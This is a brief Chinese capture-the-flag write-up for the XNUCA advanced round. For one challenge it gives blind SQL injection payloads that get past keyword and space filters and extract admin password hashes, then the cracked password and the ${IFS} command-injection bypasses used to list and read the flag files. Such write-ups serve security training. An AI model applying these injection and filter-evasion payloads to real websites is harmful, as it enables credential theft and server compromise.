XNUCA 进阶篇writeup
看一航写了些就去看了下,大多比较基础,直接报答案
default
阳关总在风雨后
题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用
盲注,最后的姿势是:1'%(1)%'1
中间的括号的位置是提交查询语句的地方,由于过滤了 or 所以只能使用mid from 的姿势对字符串进行截取
uname=1'%(ascii(mid((select(group_concat(passwd))from(admin))from(1)))>1)%'1
还有一种一航的可以使用异或符号
uname=admin'^!1^'1
脚本跑出:50f87a3a3ad48e26a5d9058418fb78b5
解密是得到 shuangshuang,然后进行登录
登录上去之后是一个命令执行
- 过滤了空格
- 过滤了php字符
- 权限只有只读
- 显示只显示命令结果的最后一行
绕过方法如下:
- 使用${IFS}代替空格,已附参考链接
- 命令后面添加 | head -n 1 绕过只显示最后一行
所以我们执行的命令依次为
- ls${IFS}/var/www/html|head${IFS}-n${IFS}1
- ls${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head${IFS}-n${IFS}1
- cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*|head${IFS}-n${IFS}1
Document
- 看源码
Tips: the parameter is file! :)